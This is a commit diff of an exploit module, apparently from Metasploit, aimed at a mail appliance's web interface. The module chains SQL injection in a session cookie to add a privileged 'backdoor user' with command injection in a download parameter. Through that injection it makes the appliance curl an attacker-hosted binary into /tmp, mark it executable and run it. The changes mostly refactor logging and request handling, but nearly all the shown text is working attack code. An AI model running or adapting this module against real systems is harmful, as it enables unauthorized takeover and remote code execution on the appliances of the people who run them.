@@ -77,27 +77,29 @@ def check
77
77
78
78
79
79
def exploit
80
- #Get a valid session by logging in or exploiting SQLi to add user
80
+ # Get a valid session by logging in or exploiting SQLi to add user
81
+ print_status ( 'Getting a valid session...' )
81
82
@sid = get_session
83
+ print_status ( 'Successfully logged in' )
82
84
83
- #Check if cmd injection works
85
+ # Check if cmd injection works
84
86
test_cmd_inj = send_cmd_exec ( '/ADMIN/mailqueue.spl' , 'id' )
85
87
unless test_cmd_inj && test_cmd_inj . body . include? ( 'uid=65534' )
86
88
fail_with ( Failure ::UnexpectedReply , 'Could not inject command, may not be vulnerable' )
87
89
end
88
90
89
- #We have cmd exec, stand up an HTTP server and deliver the payload
91
+ # We have cmd exec, stand up an HTTP server and deliver the payload
90
92
vprint_status ( 'Getting ready to drop binary on appliance' )
91
93
92
94
@elf_sent = false
93
- #Generate payload
95
+ # Generate payload
94
96
@pl = generate_payload_exe
95
97
96
98
if @pl . nil?
97
99
fail_with ( Failure ::BadConfig , 'Please select a native bsd payload' )
98
100
end
99
101
100
- #Start the server and use primer to trigger fetching and running of the payload
102
+ # Start the server and use primer to trigger fetching and running of the payload
101
103
begin
102
104
Timeout . timeout ( datastore [ 'HTTPDELAY' ] ) { super }
103
105
rescue Timeout ::Error
@@ -111,7 +113,7 @@ def attempt_login(username, pwd_clear)
111
113
'uri' => normalize_uri ( target_uri . path , '/login.spl' )
112
114
} )
113
115
114
- unless get_login_hash and get_login_hash . body
116
+ unless get_login_hash && get_login_hash . body
115
117
fail_with ( Failure ::Unreachable , 'Could not get login page.' )
116
118
end
117
119
@@ -147,12 +149,10 @@ def attempt_login(username, pwd_clear)
147
149
} )
148
150
149
151
150
- unless login and login . body =~ / <title>Loading...<\ / title>/
152
+ unless login && login . body && login . body . include? ( ' <title>Loading...</title>' )
151
153
return nil
152
154
end
153
155
154
- print_status ( 'Successfully logged in' )
155
-
156
156
sid_cookie
157
157
end
158
158
@@ -163,14 +163,14 @@ def add_user(user_id, username, pwd_hash, pwd_clear)
163
163
'cookie' => "sid=1%3BINSERT INTO sds_users (self, login, password, org, priv_level, quota, disk_usage) VALUES(#{ user_id } , '#{ username } ', '#{ pwd_hash } ', 0, 'server_admin', 0, 0)--"
164
164
} )
165
165
166
- unless res and res . body
166
+ unless res && res . body
167
167
fail_with ( Failure ::Unreachable , "Could not connect to host" )
168
168
end
169
169
170
- if res . body =~ / ERROR: duplicate key value violates unique constraint/
170
+ if res . body . include? ( ' ERROR: duplicate key value violates unique constraint' )
171
171
print_status ( "Added backdoor user, credentials => #{ username } :#{ pwd_clear } " )
172
172
else
173
- fail_with ( Failure ::UnexpectedReply , " Unable to add user to database" )
173
+ fail_with ( Failure ::UnexpectedReply , ' Unable to add user to database' )
174
174
end
175
175
176
176
true
@@ -186,24 +186,30 @@ def generate_device_hash(cleartext_password)
186
186
final_hash
187
187
end
188
188
189
- def send_cmd_exec ( uri , os_cmd , blocking = false )
189
+ def send_cmd_exec ( uri , os_cmd , blocking = true )
190
190
#This is a handler function that makes HTTP calls to exploit the command injection issue
191
191
unless @sid
192
192
fail_with ( Failure ::Unknown , 'Missing a session cookie when attempting to execute command.' )
193
193
end
194
194
195
- res = send_request_cgi ( {
195
+ opts = {
196
196
'uri' => normalize_uri ( target_uri . path , "#{ uri } " ) ,
197
197
'cookie' => "sid=#{ @sid } " ,
198
198
'encode_params' => true ,
199
199
'vars_get' => {
200
200
'f' => 'dnld' ,
201
201
'id' => ";#{ os_cmd } "
202
202
}
203
- } )
203
+ }
204
+
205
+ if blocking
206
+ res = send_request_cgi ( opts )
207
+ else
208
+ res = send_request_cgi ( opts , 1 )
209
+ end
204
210
205
211
#Handle cmd exec failures
206
- if res . nil? && blocking == false
212
+ if res . nil? && blocking
207
213
fail_with ( Failure ::Unknown , 'Failed to exploit command injection.' )
208
214
end
209
215
@@ -217,19 +223,20 @@ def get_session
217
223
user_id = rand ( 999 )
218
224
219
225
sid_cookie = attempt_login ( username , pwd_clear )
220
- unless sid_cookie
221
- vprint_status ( 'Failed to login, attempting to add backdoor user...' )
222
- pwd_hash = generate_device_hash ( pwd_clear )
223
226
224
- unless add_user ( user_id , username , pwd_hash , pwd_clear )
225
- fail_with ( Failure ::Unknown , 'Failed to add user account to database.' )
226
- end
227
+ return sid_cookie unless sid_cookie . nil?
227
228
228
- sid_cookie = attempt_login ( username , pwd_clear )
229
+ vprint_error ( 'Failed to login, attempting to add backdoor user...' )
230
+ pwd_hash = generate_device_hash ( pwd_clear )
231
+
232
+ unless add_user ( user_id , username , pwd_hash , pwd_clear )
233
+ fail_with ( Failure ::Unknown , 'Failed to add user account to database.' )
234
+ end
229
235
230
- unless sid_cookie
231
- fail_with ( Failure ::Unknown , 'Unable to login with user account.' )
232
- end
236
+ sid_cookie = attempt_login ( username , pwd_clear )
237
+
238
+ unless sid_cookie
239
+ fail_with ( Failure ::Unknown , 'Unable to login with user account.' )
233
240
end
234
241
235
242
sid_cookie
@@ -245,9 +252,9 @@ def primer
245
252
filename = rand_text_alpha_lower ( 8 )
246
253
print_status ( "Sending download request for #{ payload_uri } " )
247
254
248
- dnld_cmd1 = "/usr/local/sbin/curl -k #{ payload_uri } -o /tmp/#{ filename } "
249
- vprint_status ( "Telling appliance to run #{ dnld_cmd1 } " )
250
- send_cmd_exec ( '/ADMIN/mailqueue.spl' , dnld_cmd1 )
255
+ download_cmd = "/usr/local/sbin/curl -k #{ payload_uri } -o /tmp/#{ filename } "
256
+ vprint_status ( "Telling appliance to run #{ download_cmd } " )
257
+ send_cmd_exec ( '/ADMIN/mailqueue.spl' , download_cmd )
251
258
register_file_for_cleanup ( "/tmp/#{ filename } " )
252
259
253
260
chmod_cmd = "chmod +x /tmp/#{ filename } "
@@ -256,9 +263,10 @@ def primer
256
263
257
264
exec_cmd = "/tmp/#{ filename } "
258
265
vprint_status ( 'Running the payload...' )
259
- send_cmd_exec ( '/ADMIN/mailqueue.spl' , exec_cmd , true )
266
+ send_cmd_exec ( '/ADMIN/mailqueue.spl' , exec_cmd , false )
260
267
261
- vprint_status ( 'Finished primer hook' )
268
+ vprint_status ( 'Finished primer hook, raising Timeout::Error manually' )
269
+ raise ( Timeout ::Error )
262
270
end
263
271
264
272
#Handle incoming requests from the server
0 commit comments